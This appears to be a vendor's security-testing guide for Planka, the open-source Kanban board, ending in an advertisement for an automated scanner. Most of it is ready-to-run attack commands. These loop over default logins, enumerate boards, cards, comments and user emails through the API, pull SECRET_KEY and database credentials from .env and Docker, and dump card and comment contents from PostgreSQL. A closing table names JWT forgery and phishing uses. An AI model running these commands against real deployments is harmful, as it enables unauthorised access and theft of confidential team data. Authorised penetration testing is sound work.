Planka Security Testing: Default Credentials, API Key, Database, and .env JWT_SECRET

Planka is a widely deployed open-source Kanban board (Trello alternative) used for team project management — it stores all project boards, lists, cards, comments, and attachments. The critical risk: demo@demo.demo / demo are the documented default credentials that many deployments never change. Key assessment areas also include: SECRET_KEY signs JWT authentication tokens; the REST API provides complete access to all boards and cards; card descriptions and comments may contain sensitive business decisions, credentials, or confidential discussions; PostgreSQL stores all data; and the filesystem stores card attachments. This guide covers systematic Planka security assessment.

Table of Contents

  1. Default Credentials and Authentication Testing
  2. API Board, Card, and Comment Enumeration
  3. SECRET_KEY and Database Extraction
  4. Planka Security Hardening

Default Credentials and Authentication Testing

# Planka — default credentials and authentication testing
PLANKA_URL="https://planka.example.com"

# Test documented default credentials (demo@demo.demo / demo)
for CRED in "demo@demo.demo:demo" "admin@example.com:planka" "admin@planka.app:admin"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${PLANKA_URL}/api/access-tokens" \
    -H "Content-Type: application/json" \
    -d "{\"emailOrUsername\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
item = d.get('item',{})
t = item.get('token','')
u = item.get('user',{})
if t:
    print(f'OK token={t[:30]} user={u.get(\"name\",\"\")} admin={u.get(\"isAdmin\",False)}')
else:
    print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
  echo "${EMAIL}/${PASS}: ${TOKEN}"
done

# API access with JWT token
TOKEN="your-planka-jwt-token"
curl -s "${PLANKA_URL}/api/projects" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('items',[])
print(f'Projects: {len(projects)}')
for p in projects[:5]:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")}')
" 2>/dev/null

# Check for open registration
curl -s "${PLANKA_URL}/api/config" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
item = d.get('item',{})
print(f'Registration: {item.get(\"allowRegistration\",False)}')
print(f'OIDC enabled: {bool(item.get(\"oidcIssuerUrl\"))}')
" 2>/dev/null

API Board, Card, and Comment Enumeration

# Planka API — board, card, and comment enumeration
PLANKA_URL="https://planka.example.com"
TOKEN="your-planka-jwt-token"

# Get all projects
curl -s "${PLANKA_URL}/api/projects" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('items',[])
print(f'Projects: {len(projects)}')
for p in projects[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} background={p.get(\"background\",{}).get(\"type\")}')
" 2>/dev/null

PROJECT_ID="your-project-id"

# Get project with all boards
curl -s "${PLANKA_URL}/api/projects/${PROJECT_ID}" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
item = d.get('item',{})
included = d.get('included',{})
boards = included.get('boards',[])
print(f'Project: {item.get(\"name\")} boards: {len(boards)}')
for b in boards[:10]:
    print(f'  Board [{b.get(\"id\")}]: {b.get(\"name\")}')
" 2>/dev/null

BOARD_ID="your-board-id"

# Get board with all lists, cards, and comments
curl -s "${PLANKA_URL}/api/boards/${BOARD_ID}" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
included = d.get('included',{})
cards = included.get('cards',[])
comments = included.get('cardComments',[])
actions = included.get('actions',[])
print(f'Cards: {len(cards)} Comments: {len(comments)} Actions: {len(actions)}')
for c in cards[:10]:
    desc = str(c.get('description',''))[:50]
    print(f'  [{c.get(\"id\")}] {c.get(\"name\",\"\")[:40]} due={c.get(\"dueDate\",\"\")[:10]}')
    if desc:
        print(f'    desc: {desc}')
for comment in comments[:5]:
    print(f'  Comment: {str(comment.get(\"text\",\"\"))[:60]}')
" 2>/dev/null

# Enumerate all users
curl -s "${PLANKA_URL}/api/users" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('items',[])
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"name\")} {u.get(\"email\",\"\")} admin={u.get(\"isAdmin\")}')
" 2>/dev/null

SECRET_KEY and Database Extraction

# Planka SECRET_KEY and database credential extraction

# .env file — Planka configuration
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DATABASE_URL|TRUST_PROXY|OIDC|DEFAULT_ADMIN"
# SECRET_KEY — JWT signing secret
# DATABASE_URL — PostgreSQL connection string
# DEFAULT_ADMIN_EMAIL / DEFAULT_ADMIN_PASSWORD — initial admin account
# OIDC_* — SSO configuration credentials

# Docker environment variables
docker inspect planka 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY','DATABASE','ADMIN','OIDC','PASSWORD']):
            print(e)
" 2>/dev/null

# PostgreSQL — all project and card data
DB_URL="postgresql://planka:PASSWORD@localhost/planka"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users
SELECT id, email, name, username, is_admin,
       created_at, updated_at
FROM user_account
ORDER BY is_admin DESC, created_at ASC
LIMIT 20;
EOF

-- All cards with descriptions (often contain meeting notes, decisions, PII)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT c.id, c.name, c.description,
       c.due_date, c.is_completed,
       b.name as board_name,
       l.name as list_name
FROM card c
JOIN list l ON c.list_id = l.id
JOIN board b ON l.board_id = b.id
ORDER BY c.updated_at DESC
LIMIT 20;
EOF
-- description column: Markdown text containing task details, links, credentials, decisions

-- All card comments
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT cc.id, cc.text, cc.created_at,
       u.email as author, c.name as card
FROM card_comment cc
JOIN user_account u ON cc.user_id = u.id
JOIN card c ON cc.card_id = c.id
ORDER BY cc.created_at DESC
LIMIT 20;
EOF
-- text contains all team discussion on each card — meeting notes, decisions, links

-- Attachments on cards
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT a.id, a.name, a.filename, a.card_id,
       c.name as card_name, a.created_at
FROM attachment a
JOIN card c ON a.card_id = c.id
ORDER BY a.created_at DESC
LIMIT 10;
EOF

Planka Security Hardening

Planka Security Hardening Checklist:
Security TestMethodRisk
Default demo@demo.demo/demo credential accessPOST /api/access-tokens with demo@demo.demo/demo — documented default; access all boards the demo user is member of; reveals organizational project structureCritical
SECRET_KEY extraction and JWT token forgeryRead .env SECRET_KEY — JWT signing key; forge tokens for any user including admin; full access to all projects and boards regardless of membershipCritical
Card description and comment data exfiltrationGET /api/boards/{id} — all cards with descriptions; card comments often contain meeting notes, decisions, internal links, and occasionally credentials shared for convenienceHigh
PostgreSQL card and comment complete extractionSELECT description FROM card; SELECT text FROM card_comment — complete organizational project history including all task details and team discussionsHigh
User enumeration and email extractionGET /api/users — all platform users with emails; useful for targeted phishing against project team members; admin identification for privilege escalationMedium

Automate Planka Security Testing

Ironimo tests Planka deployments for default demo@demo.demo/demo credential access, SECRET_KEY extraction and JWT token forgery, card description and comment sensitive content exfiltration, PostgreSQL complete card and comment data extraction, user enumeration and email extraction, board membership access boundary testing, attachment filesystem access, open registration testing, OIDC configuration credential extraction, and Docker environment variable SECRET_KEY/DEFAULT_ADMIN_PASSWORD exposure.

Start free scan